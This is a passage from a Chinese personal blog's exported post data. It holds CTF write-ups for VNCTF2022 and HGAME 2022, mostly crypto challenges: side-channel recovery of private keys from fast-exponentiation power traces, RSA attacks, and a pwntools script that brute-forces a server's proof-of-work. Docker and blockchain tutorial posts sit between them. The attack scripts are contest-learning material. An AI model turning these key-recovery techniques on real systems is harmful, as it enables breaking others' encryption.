(7769230445155201113494537348459352387708612203054561299606903286112936921859421067127410781913677713423158049411013804288570673695825855969822168904613465090290306226978616894321879293271162132061470408070909310151619998411378202847228354918571965001390588172776972224778839119169450173333867054090477937647516598663804457249106382500709364775634358601371251459877683379682809903658838902783963786177719437968604142810768329151307435649733153348164028321577077681431486645592176232620214087883116496965071120567845561936056520916949714662519666931982850792755106900551200428113854794154127442081282902169286650571401, 1575094877701795854498774908638903522669421051531573312093667127284544685427913301822137233349330103439966188241901781657995508053590393431112660182478894250834736190200611323499178795811947949448699368341885262244922319233898608781419619210833188270769502178623446319852515092097374376230284979030896357428170209276025068117869920819506765819887277035215331513588698837794510471067850530536430462916048677656769292228807520578503908679844209663943585309414158448052732725558692228885890997143173078704774290593538094709155128226553159420350131695351485888673216532336279540226705255688328040783577052756207587006270, 6610352931587720854451143899633952315748731096581247094289941806600249309199110458686226240414159314916443802659936796194501937130258325721955971712271359425220780891458718764787684248492736828049383593460850257630134166697516000923586434837108552164118408207483861356227241654737966362556299121885909952085344055245123817034374630986706235981670472671656419267459375338043531055577663540904728281161038164044605649226826294253565008079171696929526279467128593521303305237010056264278316607644578180995774851856042734859960770608950180509999278132547381198060859308178075010227172861725398283857061313337363575325263), (1575094877701795854498774908638903522669421051531573312093667127284544685427913301822137233349330103439966188241901781657995508053590393431112660182478894250834736190200611323499178795811947949448699368341885262244922319233898608781419619210833188270769502178623446319852515092097374376230284979030896357428170209276025068117869920819506765819887277035215331513588698837794510471067850530536430462916048677656769292228807520578503908679844209663943585309414158448052732725558692228885890997143173078704774290593538094709155128226553159420350131695351485888673216532336279540226705255688328040783577052756207587006270, 2899196346496640651515578300741477267252027393819388234592692441244872565455171075206663782801019182310445822694710022355107834170061256021528233984226982722687848721193571620263169761625920013511824364907813108870230498313614430769087521400686949128276439718637571413546438066894526733998540267545169908267918034044567676900418717621781005337988884902642672158843440942895072083594499934345701806316446232804191200045145796718350218780127702500537329430739697477802056514649362531623994574050100569446437453774196354144878113348032018382822752357224093912706852592549799275481078987386652273745516181324786938308335, 1518486070937095431267728249967625462615084214873519869724691145931391888893984408735020316869577560635376392428533320137999061224646280418013600820687411977047143852240859128701565827810521684321783327786465208897593862389568908868890826199105669712761247928108093008056596587483514169117862021972656609656939975812867444210967581049993172306174305541579882729780098039933312778734112663231561634590403753870449301486897270821771001471591549309582677751258104686430351246789904546466436576979978832001105662418364938101412232320509104886209874169009281768978468363614092630860981345300448240861393056424955085865425)]What do you want to get?[1]the pk list[2]Alice Public Parameters[3]Mixed Flag[4]exitSERVER <INPUT>: 4 ​ 考察知识点:快速幂算法、侧信道攻击、同态加解密 ​ 思路:题目给了hint“快速幂的消耗”。而密码系统生成公私钥,是通过模幂运算(幂为私钥)进行,并且附件三刚好六个列表,和生成Bob请求6对公私钥相对应。猜测系统使用的是快速幂算法来生成公私钥,附件三则是快速幂算法计算时消耗的能量,这里类似于侧信道攻击,先要了解快速幂算法。 12345678def fastpower(a,b,n): ans = 1 while n: if n&1: ans = ans*a%b a = a*a%b n >>= 1 return ans%b ​ 从快速幂算法可以看出,如果幂的某一位是0,则运算步骤更少(消耗的能量少),为1则运算步骤更多。因此,基本可以确定,附件三为快速幂运算时消耗的能量,那么可以通过侧信道攻击来恢复私钥。要恢复私钥,需要确定能量消耗高低的阈值,可以通过找到最高值和最低值的中间值,在中间值附近爆破确定阈值。 ​ 私钥可以搞定,下一步就用私钥同态解密即可。推导过程: ​ exp: 123456789101112131415161718192021222324252627282930313233343536from Crypto.Util.number import *import gmpy2def other_decrypt(A1,A2,B,sk1,sk2,tmpm): tmp = (gmpy2.invert(pow(A1,sk1,n*n),n*n) * inverse(pow(A2,sk2,n*n),n*n) * inverse( 1+ tmpm * n, n*n )) % (n * n) B = B * tmp % (n*n) c = (B - 1) // n return csk_power = [[]]pk_list = []n,g = (99432570713451062672092617212319674009128734021066252368974800380230695323011362021233083666801384874016217174138172838324478923078565331451675890131482611143922160917396923797235440250981885284277138989238227045468313350149185634986094994817254420199118748807731778875073713159130977981056629225363484612477, 3968529370264936315920184477746788220647053714090169783299608119529824310904496486702826831189864895901209648545829990235312934722991437418299346170024807755247754432133360178045395401174982549914108473260518839316780908593318455968053014605561504763936320319823824648449367236939727402970530941741756355440144535524693269860226342989569545529027400537822905839372506033736360929447563246349881828685681190426611634101046071883134662542428054340117879442277375242419725749540743809427149381516979587301032095071523792619805416206328411405597400382193217814410409605898798472988157572731575592931542612306878517511455)sk_ = []for i in range(len(sk_power)): sk = '' for j in range(len(sk_power[i])): if sk_power[i][j] >= 120: #这里类似于测信道攻击,需要多次尝试确定阈值 sk += '1' else: sk += '0' sk = int(sk,2) s = (pow(g,sk,n*n)) assert(int(s) == pk_list[i]) sk_.append(sk)print(sk_)if __name__ == '__main__': c_list = [] tmpm = bytes_to_long(b'vnctf') print(long_to_bytes(tmpm).decode(), end='') for i in range(5): newm = (other_decrypt(c_list[i][0], c_list[i][1], c_list[i][2], sk_[i], sk_[(i + 1)], tmpm)) print(long_to_bytes(newm).decode(), end='') tmpm = newm","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"VNCTF2022","slug":"赛事/VNCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/VNCTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/tags/%E8%B5%9B%E4%BA%8B/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"}]},{"title":"Docker学习","slug":"Docker学习","date":"2022-02-10T02:26:13.000Z","updated":"2022-02-12T15:10:52.000Z","comments":true,"path":"2022/02/10/Docker学习/","link":"","permalink":"http://example.com/2022/02/10/Docker%E5%AD%A6%E4%B9%A0/","excerpt":"一.认识Docker​ 知乎的这个问题下面的回答讲的很清楚,尤其是木龙头师傅的回答,将操作系统、虚拟机以及容器串联起来解析,从宏观和微观两个角度认识Docker:https://www.zhihu.com/question/28300645 ​ 我觉得认识镜像和容器的关系非常重要,请参考这篇文章:https://blog.csdn.net/qq_40722827/article/details/102827125","text":"一.认识Docker​ 知乎的这个问题下面的回答讲的很清楚,尤其是木龙头师傅的回答,将操作系统、虚拟机以及容器串联起来解析,从宏观和微观两个角度认识Docker:https://www.zhihu.com/question/28300645 ​ 我觉得认识镜像和容器的关系非常重要,请参考这篇文章:https://blog.csdn.net/qq_40722827/article/details/102827125 二.Docker基本命令及作用1.Docker容器使用​ 注:由于解析器的原因,本篇中双短横线显示为一根较长横线 ​ (1)客户端直接输入docker可以查看docker客户端的所有命令选项,而docker command —help可以查看某个命令的具体参数 ​ (2)docker pull … 本地没有所需镜像的时候可以从仓库拉取镜像,如docker pull ubuntu ​ (3)启动容器 docker run [OPTIONS] IMAGE [COMMAND] [ARG…] 参数解析: -a stdin: 指定标准输入输出内容类型,可选 STDIN/STDOUT/STDERR 三项; -d: 后台运行容器,并返回容器ID; -i: 以交互模式运行容器,通常与 -t 同时使用; -P: 随机端口映射,容器内部端口随机映射到主机的端口 -p: 指定端口映射,格式为:主机(宿主)端口:容器端口 -t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用; —name=”nginx-lb”: 为容器指定一个名称; —dns 8.8.8.8: 指定容器使用的DNS服务器,默认和宿主一致; —dns-search example.com: 指定容器DNS搜索域名,默认和宿主一致; -h “mars”: 指定容器的hostname; -e username=”ritchie”: 设置环境变量; —env-file=[]: 从指定文件读入环境变量; —cpuset=”0-2” or —cpuset=”0,1,2”: 绑定容器到指定CPU运行; -m :设置容器使用内存最大值; —net=”bridge”: 指定容器的网络连接类型,支持 bridge/host/none/container: 四种类型; —link=[]: 添加链接到另一个容器; —expose=[]: 开放一个端口或一组端口; —volume , -v: 绑定一个卷 ​ 举例:使用docker镜像nginx:latest以后台模式启动一个容器,并将容器命名为mynginx。 1docker run --name mynginx -d nginx:latest ​ 使用镜像nginx:latest以后台模式启动一个容器,并将容器的80端口映射到主机随机端口。 1docker run -P -d nginx:latest ​ 使用镜像 nginx:latest,以后台模式启动一个容器,将容器的 80 端口映射到主机的 80 端口,主机的目录 /data 映射到容器的 /data。 12docker run -p 80:80 -v /data:/data -d nginx:latest # :后边跟上版本号#如果你不指定一个镜像的版本标签,例如你只使用 ubuntu,docker 将默认使用 ubuntu:latest 镜像。 ​ 以下命令使用 ubuntu 镜像启动一个容器,参数为以命令行模式进入该容器: 1docker run -it ubuntu /bin/bash #exit直接退出shell ​ (4)启动已停止的容器 ​ 先查看有哪些容器: 1docker ps -a #去掉-a则只会显示正在运行的容器 ​ 然后启动某个特定容器: 12docker start b750bbbcfd88 docker stop ... #这是停止容器 ​ (5)后台运行容器 (加了 -d 参数默认不会进入容器,想要进入容器需要使用指令 docker exec) 1docker run -itd --name ubuntu-test ubuntu /bin/bash ​ 进入容器: 1docker attach 1e560fca3906 ​ 更推荐使用docker exec,当我们退出容器shell的时候容器还会继续在后台运行,不会结束: 1docker exec -it 243c32535da7 /bin/bash ​ 导出和导入容器 ​ 导出: 1docker export 1e560fca3906 > ubuntu.tar ​ 可以使用 docker import 从容器快照文件中再导入为镜像,以下实例将快照文件 ubuntu.tar 导入到镜像 test/ubuntu:v1: 注:| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l 1cat docker/ubuntu.tar | docker import - test/ubuntu:v1 1docker import my_ubuntu_v3.tar runoob/ubuntu:v4 #方法二 更简单 ​ (6)删除容器 用docker rm + id 要先停止容器才能删除,否则会报错,加上-f指令则会强制删除正在运行的容器 ​ (7)docker top + id 可以查看某个容器内部运行的进程 ​ (8)使用 docker inspect 来查看 Docker 的底层信息。它会返回一个 JSON 文件记录着 Docker 容器的配置和状态信息 2.Docker镜像使用​ (1)docker image列出本地镜像 ​ (2)查找搜索镜像可以用docker search … ​ (3)docker rmi hello-world (删除名为hello-world的镜像) ​ (4)创建镜像 ​ 镜像不满足使用的需求时,有两种处理手段: ​ a.更新镜像 ​ 更新之前,需要用docker run 创建并进入交互shell,在运行的容器内使用apt-get update命令更新,完成以后输入exit退出容器的shell。然后可以通过命令 docker commit 来提交更改的容器副本:也就是将容器存为镜像。 123runoob@runoob:~$ docker commit -m="has update" -a="runoob" e218edb10161 runoob/ubuntu:v2sha256:70bf1840fd7c0d2d8ef0a42a817eb29f854c1af8f7c59fc03ac7bdee9545aff8#m为详细信息,a为作者,runoob/ubuntu:v2为镜像名 ​ b.构建镜像","categories":[{"name":"Docker学习","slug":"Docker学习","permalink":"http://example.com/categories/Docker%E5%AD%A6%E4%B9%A0/"}],"tags":[{"name":"docker","slug":"docker","permalink":"http://example.com/tags/docker/"}]},{"title":"区块链—第一课—认识区块链","slug":"区块链—第一课—认识区块链","date":"2022-02-09T14:05:30.000Z","updated":"2022-02-09T15:34:28.000Z","comments":true,"path":"2022/02/09/区块链—第一课—认识区块链/","link":"","permalink":"http://example.com/2022/02/09/%E5%8C%BA%E5%9D%97%E9%93%BE%E2%80%94%E7%AC%AC%E4%B8%80%E8%AF%BE%E2%80%94%E8%AE%A4%E8%AF%86%E5%8C%BA%E5%9D%97%E9%93%BE/","excerpt":"中本聪和比特币​ 中本聪,一个可以被称之为天才的人物,其创造的比特币(货币系统)带来了区块链,而区块链技术可能带来互联网的二次革命,把互联网从“信息互联网”带向“价值互联网”。举个例子,如果说比特币是面条,那么区块链就是面粉,后面大家发现面粉除了能做面条还可以做馒头跟包子。","text":"中本聪和比特币​ 中本聪,一个可以被称之为天才的人物,其创造的比特币(货币系统)带来了区块链,而区块链技术可能带来互联网的二次革命,把互联网从“信息互联网”带向“价值互联网”。举个例子,如果说比特币是面条,那么区块链就是面粉,后面大家发现面粉除了能做面条还可以做馒头跟包子。 ​ 在比特币的创世时刻,它的三个组成部分都出现了,即加密数字货币(cryptocurrency)、分布式账本(distributed ledger)、去中心网络(decentralized network),如下图所示。 ​ 比特币常被称为一种“加密数字货币”,人们常很关注其中的“货币”二字。其实,比特币并不具备现在各国法定货币的特征,它只是一种数字形式的特殊商品。 ​ 比特币的出现是源于技术极客想解决的一个技术难题:“在数字世界中,如何创造一种具有现金特性的事物?” “比特币:一个点对点电子现金系统”这个标题体现出了中本聪想解决的难题:他想创造在数字世界中可用的电子现金,它可以点对点也就是个人对个人交易,交易中不需要任何中介参与。来对比看看。在物理世界中,一个人可以把现金纸币给另一个人,不需要经过诸如银行、支付机构、见证人等中介机构。但由于数字文件是可复制的,复制出来的电子文件是一模一样的,因而在数字世界中,我们不能简单地用一个数字文件作为代表价值的事物。同时,我们在支付机构中有多少钱,并没有像一张张钞票一样的数字文件可以代表,钱仅是中心化数据库中的记录。在数字世界中,当一个人要把现金转给另一个人时,必须要有中介机构的参与。比如,我们通过支付宝转账的过程是:支付宝在一个人的账户记录里减掉一定金额,在另一个人的账户记录中增加一定金额。在数字世界中,如何创建一个无须中介或者说去中心化的数字现金,一直是一个难题。由于数字文件可以完美复制,如果没有一个中心化数据库做记录,那如何避免一个人把一笔钱花两次?这就是所谓的双重支付或双花问题(double spending)。在比特币出现之前,我们熟悉的主要电子现金系统(如PayPal、支付宝等)都是依靠中心化数据库来避免双花问题,这些可信第三方中介不可或缺,见下图。 ​ 到了 2008 年,中本聪借鉴和综合前人的成果,特别是现在常被统称为密码朋克(cypherpunk)的群体的成果,改进之前各类中心化和去中心化的电子现金,加上自己的独特创新,创造了比特币这个点对点电子现金系统,在无须中介的情况下解决了双花问题。 ​ 特别地,比特币这个电子现金系统是同时去中介化和去中心化的: 个人与个人之间的电子现金无须可信第三方中介的介入,这是去中介化。 这个电子现金的货币发行也不需要一个中心化机构,而是由代码与社区共识完成,这是去中心化。 ​ 要注意的是,这个“电子现金”中的现金指的并非货币,它只是在解决难题的过程中被借用来在数字世界中代表价值的说法。这样说是为了便于理解,在现实中,最常见的代表价值的事物是现金。 从比特币系统发现区块链​ 在物理世界中,现金是一张张纸币,但其背后有着一整套与货币相关的金融体系:中央银行、银行、印钞厂、信用卡组织,以及后来出现的第三方网络支付机构等。 ​ 在数字世界中,想要创造一种去中介化、去中心化的“电子现金”,同样要设计一套完整的系统。这一系统要能解决以下一系列问题: 这种“现金”如何公平、公正地发行出来,不被任何中心化的机构或个人控制? 如何实现像在物理世界中一样,一个人可以直接把现金递给另一个人,无须任何中介的协助?(现在的网银、微信支付宝实际上是通过中介交易的) 这种电子现金如何“防伪”?在数字世界中,这个问题可转换为,一笔电子现金如何不被花费两次? ​ 中本聪设计和开发了比特币系统,完美地解决了这些问题。说起比特币,人们常指的是比特币这种做价值表示的电子现金。其实,作为电子现金的比特币只是比特币系统的表层,比特币系统包括三层: 最上一层是比特币这种电子现金。这是整个系统的应用层。(个人理解为与经济学相关的价值体系,类似于某种货币形式) 中间一层的功能是发行比特币与处理用户间的比特币转移。这一层也叫比特币协议(bitcoin protocol),是整个系统的应用协议层。(与上层“货币”对接,跟上层的特性有关,主要就是货币发行和转移) 最底层是比特币的分布式账本和去中心网络。这一层也被称为比特币区块链(bitcoin blockchain),是整个系统的通用协议层。(简单来说,就是比较通用的一系列协议,可以用于各种去中心化的“价值互联网”) ​ 比特币系统的三层命名(应用层、应用协议层、通用协议层)源自知名区块链研究者梅兰妮·斯万,她也提出了被广泛引述的一种阶段划分:区块链 1.0 是货币、区块链 2.0 是合约、区块链 3.0是应用。 ​ 比特币系统实现的去中心化的点对点电子现金,其发行与转账靠的是中间的比特币协议层。类比现实货币系统,这一层的角色相当于中央银行(发行货币)与银行(处理转账)等金融机构。 ​ 深入介绍“比特币协议”的这一层。比特币系统架构图又常被进一步细分为五层,它对应的是比特币协议和比特币区块链两个部分。在这个五层架构中,比特币协议层被细分为:应用层、激励层和共识层。 ​ 在设计比特币系统时,中本聪创造性地把计算机算力竞争和经济激励相结合(我认为,相较于去中心化,中本聪把真实世界的市场经济因素与计算机的特点相互映射,才是更具创造性的地方),形成了工作量证明(proof-of-work,POW)共识机制,让挖矿计算机节点在计算竞争中完成了货币发行和记账功能,也完成了区块链账本和去中心网络的运维。这就形成了一个完整的循环:矿机挖矿(算力竞争),完成去中心化记账(运转系统),获得比特币形式的经济激励(经济奖励)。 ​ 比特币的工作量证明共识机制是承上启下的一层,连接了上层应用与下层技术:在其上的层次为电子现金的发行、转账、防伪;在其下的层次,去中心网络的节点达成一致,更新分布式账本。 区块链的定义第一种区块链的定义(比较通俗)​ 比特币:一种加密数字货币;区块链:一种基础技术。 ​ 区块链是一种源自于“比特币”的底层技术。换句话说,比特币是区块链技术的第一个大获成功的应用。 第二种区块链的定义​ 区块链是数字世界中进行“价值表示”和“价值转移”的技术。区块链 一面是表示价值的加密数字货币或通证,另一面是进行价值转移的分布式账本与去中心网络(即经济学与计算机网络的结合)。 ​ 分布式账本与去中心网络也常被称为“链”,它可被视为一个软件平台;而表示价值的通证常被称为“币”。 通证存储在链上,通过链上的代码(主要形式的智能合约)来管理,它是可编程的。 ​ 现在,很多人都有一种看法是,将基于区块链的价值表示物都称为通证,并把比特币等代币(coin)视为通证的一个特定种类。通常而言,提及加密数字货币、通证、代币时,我们指的都是基于区块链的、在数字世界中进行价值表示的事物。如果采用“通证”说法,区块链的最大范围包括的则是“账本+网络+协议+通证”(即一个完整系统)。","categories":[{"name":"Blockchain","slug":"Blockchain","permalink":"http://example.com/categories/Blockchain/"},{"name":"基础知识","slug":"Blockchain/基础知识","permalink":"http://example.com/categories/Blockchain/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"}],"tags":[{"name":"Blockchain","slug":"Blockchain","permalink":"http://example.com/tags/Blockchain/"}]},{"title":"HGAME-2022","slug":"HGAME-2022","date":"2022-02-09T04:48:55.000Z","updated":"2022-02-11T02:29:48.000Z","comments":true,"path":"2022/02/09/HGAME-2022/","link":"","permalink":"http://example.com/2022/02/09/HGAME-2022/","excerpt":"​ 主要记录2022年hgame密码方向的题目wp(脑洞题未记录),也有一点点misc(实际上目前misc是ak了的,比较简单就不记录了)。","text":"​ 主要记录2022年hgame密码方向的题目wp(脑洞题未记录),也有一点点misc(实际上目前misc是ak了的,比较简单就不记录了)。 大概的最终Rank:47/1200 ​ Week1Dancing Line​ 这题出的比较新颖,将ASCII码值放在bmp的像素信息中。一个字符的 ASCII码有 8 位,图像中的每两个黑色色块间的路程也为 8 步。从左上角的色块出发,向右为 0,向下为 1,连起来就是对应字符的 ASCII 码。做题的时候我直接人工对应的ascii码,比较麻烦,可以用脚本梭: 123456789101112131415161718192021222324252627import numpy as npfrom PIL import Image# 判断下一步往哪走def search(arr, x, y): if y + 1 < arr.shape[1] and (arr[x, y + 1, :] != 255).all(): #(255,255,255)表示白色 (0,0,0)表示黑色 return x, y + 1, 0 elif x + 1 < arr.shape[0]: return x + 1, y, 1 else:return -1, -1, -1if __name__ == "__main__": image = Image.open("Dancing Line.bmp") array = np.array(image) print(array.shape[1]) x = y = 0 while True: asc = 0 # 每八步拼接成一个字符的 ASCII 码 for _ in range(8): x, y, v = search(array, x, y) if v < 0: exit() asc <<= 1 asc |= v print(chr(asc), end = "") #hgame{Danc1ng_L1ne_15_fun,_15n't_1t?} English Novel​ 已知明文攻击。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778import osdef if_length(ori_content, enc_content, match_result): if len(ori_content) == len(enc_content): match_result = True else: match_result = False return match_resultdef if_match(ori_name, enc_name): match_result = True ori_path = ori_folder + '/' + ori_name enc_path = enc_folder + '/' + enc_name with open(ori_path, 'r') as f: ori_content = f.read() with open(enc_path, 'r') as f: enc_content = f.read() match_result = True if match_result: match_result = if_length(ori_content, enc_content, match_result) if match_result: for i in range(len(ori_content)): if ori_content[i] == enc_content[i]: continue elif ori_content[i].isupper() and enc_content[i].isupper(): continue elif ori_content[i].islower() and enc_content[i].islower(): continue else: match_result = False return match_resultdef match_process(ori_folder, enc_folder): all_match = [] original_list = os.listdir(ori_folder) encrypt_list = os.listdir(enc_folder) for ori_name in original_list: for enc_name in encrypt_list: match_result = if_match(ori_name, enc_name) if match_result: ori_path = ori_folder + '/' + ori_name enc_path = enc_folder + '/' + enc_name match_group = [ori_path, enc_path] all_match.append(match_group) encrypt_list.remove(enc_name) else: continue return all_matchdef decrypt(ori_data, enc_data, enc_flag): keys = [] for i in range(len(enc_data)): key = ord(enc_data[i]) - ord(ori_data[i]) keys.append(key) result = "" enc_data = enc_flag for i in range(len(enc_data)): if enc_data[i].isupper(): result += chr((ord(enc_data[i]) - ord('A') - keys[i]) % 26 + ord('A')) elif enc_data[i].islower(): result += chr((ord(enc_data[i]) - ord('a') - keys[i]) % 26 + ord('a')) else: result += enc_data[i] return resultif __name__ == '__main__': ori_folder = './original' enc_folder = './encrypt' enc_flag = open('./flag.enc', 'r').read() match_list = match_process(ori_folder, enc_folder) for match_group in match_list: with open(match_group[0], 'r') as f: ori_data = f.read() with open(match_group[1], 'r') as f: enc_data = f.read() flag = decrypt(ori_data, enc_data, enc_flag) print("{:<30}{:<30}{:<30}".format(match_group[0], match_group[1], flag)) week2The Password Plus Pro Max Ultra​ ​ exp: 1234567891011121314151617181920212223242526272829from functools import reducefrom operator import xorfrom libnum import n2sdef move(n, k): s = bin(n)[2:].zfill(64) k &= 63 return int(s[k:] + s[:k], 2)def encrypt(x, ks): return xor(x, reduce(xor, map(lambda k: move(x, k), ks)))def decrypt(y, ks): for _ in range(6): y = encrypt(y, ks) ks = [k << 1 for k in ks] return yif __name__ == "__main__": ys = [2656224875120172108,1261711348908201279,18219282869614004824,15279054981769814589,7966355346882200701,5641592208539483808,1502927090219059154,3996223120734273799,18295033054788808618,18126228466291248047,9413762634844369954,8964324149921197550,6962485320551449848] kss = ([8, 35],[19, 29, 30, 45],[6, 16, 18, 21, 44, 55],[10, 26, 30, 46, 51, 54, 58, 63],[5, 13, 25, 29, 37, 39, 43, 52, 53, 59],[1, 26, 31, 39, 40, 41, 43, 45, 49, 52, 54, 62], [8, 12, 19, 20, 30, 32, 34, 40, 41, 45, 46, 49, 55, 58],[2, 3, 5, 6, 8, 10, 15, 19, 26, 27, 33, 40, 42, 47, 52, 61],[1, 16, 17, 27, 28, 30, 32, 36, 37, 38, 39, 48, 49, 51, 55, 57, 59, 62], [5, 11, 12, 20, 22, 23, 25, 27, 31, 32, 33, 37, 44, 45, 49, 52, 53, 59, 61, 62],[2, 7, 10, 12, 18, 19, 20, 22, 26, 29, 33, 34, 38, 40, 41, 45, 46, 51, 54, 56, 57, 60], [3, 4, 5, 9, 12, 13, 18, 19, 21, 23, 24, 25, 30, 33, 34, 35, 37, 39, 43, 44, 46, 49, 50, 53],[1, 3, 6, 7, 10, 11, 13, 14, 23, 27, 32, 33, 35, 37, 39, 41, 46, 48, 49, 50, 51, 53, 54, 56, 58, 62]) flag ='' for i in ys: flag = flag + str(n2s(decrypt(i,kss[ys.index(i)])))[2:10] print(flag) #hgame{XOr|RoR&rOl|Is+vERY#coMmon*BiTwisE$OPeraTiOn*IT@is%oFten,ENCOUntErED*in.syMMeTRic?encryPtION} 奇妙小游戏(misc)​ nc连接,会收到一段sha256散列值,需要输入其哈希之前的原始值,长度为4位,所以这里可以爆破,输入正确以后游戏开始,如下图;反复输入不同结果发现其逻辑为鬼脚图,我的exp写的比较复杂。 ​ 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102# -*- coding:utf-8 -*-from pwn import *import numpy as npdef jm_sha256_single(value): """ sha256加密 :param value: 加密字符串 :return: 加密结果转换为16进制字符串 """ hsobj = hashlib.sha256() hsobj.update(value.encode("utf-8")) return hsobj.hexdigest().lower()#爆破哈希def hashs(hashs): chart1 = list(range(65, 123)) chart2 = list(range(48, 57)) chart1.extend(chart2) for i1 in chart1: for i2 in chart1 : for i3 in chart1: for i4 in chart1: s = chr(i1)+chr(i2)+chr(i3)+chr(i4) if jm_sha256_single(s) == hashs: print(s) io.sendline(s.encode()) io.sendline(s.encode()) return 0def short(row,col,msg,have_gone,max): #have_gone是一个列表,用来存储走过的节点 have_gone.append((row,col)) if msg[row,col-1] != " " and col-1 >= 0 and (row,col-5) not in have_gone: col = col - 5 print(row,col) print(have_gone) return short(row,col,msg,have_gone,max) elif col+5 < max and msg[row,col+1] != " " and col >= 0 and (row,col+5) not in have_gone : col = col +5 print(row,col) print(have_gone) return short(row,col,msg,have_gone,max) else: row = row - 1 print(row,col) print(have_gone) if row == 0: return col//5 else: return short(row,col,msg,have_gone,max)if __name__ == '__main__': io = remote('chuj.top',51009) hello = str(io.recvuntil(">".encode())) start = hello.find(') =') hashstr = hello[start+5:start+69] print(hashstr) hashs(hashstr) for i in range(15): p = str(io.recvuntil(b"answer")) if p : print(p) num_start = p.find('is')+3 recv_num = p[num_start] col = p.count("-") //3 print(col) start1 = p.find('level') + col + 11 p = p[start1:] tail1 = p.find('-') p = p[:tail1] row = p.count('\\\\') # col = (len(p) - row*2)//row p = p.replace("\\\\n",'') p = "0"*col + p msg = np.array(list(p)).reshape(row+1,col) print(msg) print(p) print(row,col) print(recv_num) enter_col = int(recv_num) * 5 maxcol = col #start_point = msg[row-1,enter_col] have_gone = [] d=short(row,enter_col,msg,have_gone,maxcol) io.sendline(str(d).encode()) print(d) else: print("no answer") p = str(io.recvrepeat(timeout=5)) print(p) week3Block Cipher1234567891011121314151617181920212223242526272829303132333435import operatorimport randomimport refrom functools import reducedef pad(s): padding_length = (8 - len(s)) % 8 return s + chr(padding_length) * padding_lengthdef xor(a, b): assert len(a) == len(b) return bytes(map(operator.xor, a, b))def encrypt(s): iv = bytes(random.randint(0, 255) for _ in range(8)) #生成8字节的字节流(字符串) key = bytes(random.randint(0, 255) for _ in range(8)) #同上 parts = list(map(str.encode, map(pad, re.findall(r'.{1,8}', s)))) #进行填充 results = [] for index, part in enumerate(parts): results.append(reduce(xor, [part, iv if index == 0 else results[-1], key]))iv = b'Up\\x14\\x98r\\x14%\\xb9'key = b'\\r\\xe8\\xb86\\x9c33^'parts = [b'0\\xff\\xcd\\xc3\\x8b\\\\T\\x8b', b'RT\\x1e\\x89t&\\x17\\xbd', b'\\x1a\\xee\\x8d\\xd6\\x9b>w\\x8c', b'9CT\\xb3^pF\\xd0']flag1 = reduce(xor,[parts[0],key,iv])print(flag1)flag2 = reduce(xor,[parts[1],iv,flag1])print(flag2)flag3 = reduce(xor,[parts[2],parts[0],flag2])print(flag3)flag4 = reduce(xor,[parts[3],parts[1],flag3])print(flag4)print(flag1+flag2+flag3+flag4)#hgame{BloCk|cIphER+is+So.EaSY} Multi Prime RSA123456789101112131415from Crypto.Util.number import *import gmpy2#多因数rsa就用欧拉函数计算phi即可p = 109056753224725357860050862987465749131702509174531265860789564184166504627089q = 64871884070495743485110397060920534297122908609816622599229579748089451488127r = 73817195552029165561107245309535744382442021553254903166961729774806232509583s = 89907870347457693114161779597928900080173728317019344960807644151097370118553n = 337945247991531188630780631650822497552908401425959508214145019590891175999570651678385514599227649321033438265588883204645721459926338248032512615537333971869461679586403649697114789385472197685140603238299768873935137939123021910982793481655218061907401584383081422244812725080939394854989735528833013780919908024635812696998644603525843637686545709789908672408993923182946718279531020289767042649725545073526307769817097790005360720650079676982379162926484355121626302801800589993422729725583400678081766553017405965706770238634252836827793877622715474210575752508172785712202444441372140501379422725172250199713113954442223362073485143579617841236442644760494913432967541691532709842303408702693199269606594116690052170245340072114122287646793344327315326489574192325790848798131621842606487734721409882742631176999703502149639410263361145441889337623403361569958342141903891414217371443118527025041591219747780100510414268546884029077010164415049298406632069845430841542680166802473749172801804659277821899576403669845353379213803866969800665351300325701817179936198902427032684058452719607840314873315299975603264092020097224735237221994922702705781103002327285724125001893421030923788361576161461965707958695720464547129911053732747399113017747456439027947305796290572816318795181398935020951025833913e = 65537c = 281020926647419736778465777714512241989738235339105762863874725870511725155101862585192241287617168165290485944476735304459717602798728005687755713662466866091315959960168862035396245078850168822145228676116894754613436735897122137945552880864031115366493898382809812977280234389519365119627504653135151731589924405933589175425427189436855517194951589952822691774400942764910734054237756669945324833759799471068481769516338068810710333940167779043544371586185132920304774984746129764220081092726473696111126293966890901487735046101991609292612206984184161394385767762455321150541601949740631911175736268756408775307673610842645555513631617648877296855194327486811545670357137463942744122553468603244298691801028147147418563982169678640270746871085722092365159546820433098926679284504740402248142173715649451061037156261913601096905601577932894877435316535261789072594174871292814951406337447799051502635390866434813419165738873787323716033378045850292413169255965421404580559241351577058726176436504950558398769061998430771982995850759810867299728407860522399699076192754977454139708618158667289120827143703464056583125568576691058753072898162981956883451252542611323974071518397220203389962420073122776649094369816178685947397943358134020598211306649724455966463885765977564934172273334309312046278116760547phi = p*(p-1)*(q-1)*q**2*(r-1)*r**4*(s-1)*s**6d = gmpy2.invert(e,phi)print(long_to_bytes(pow(c,d,n)))#hgame{EulEr:fUNcTIon;iS.So*IMpORTaNt*In&RsA} RSA Attack 3123456789import gmpy2from Crypto.Util.number import *d = 13094612077654083919 #维纳攻击先求dn = 5074191700883449329907022569116947884084939687495276144216145686129441447648897172294440208136588933629837144541599807190263663613187894152794171728585363819388703792676701801281747983447443717256098278723395123022326105908886495554469729904193134456878526363055188012361320326183508477052346435215578514347113896641302744683544052738732182642222938585094778606348890018984625477128001531117745649392791908358574453782619205322063523640058402382522840655872917791969754572885808125265971853320363423301472503122628169946253174828698493884243974374705024498151320005884250280559644322981769421246971055090570905466003307603643857533139230035496701075997579968109391653005818470682331568872691810968930894153021637708843122559575846609645060280029221647674532879731029619107813123516864880475109329979377005979927055578811726401751174760175039182945342058980464839817075585215589920585129400871926557003516757188157238405686405093553384826314163451931767085018974586498415391929931427904027348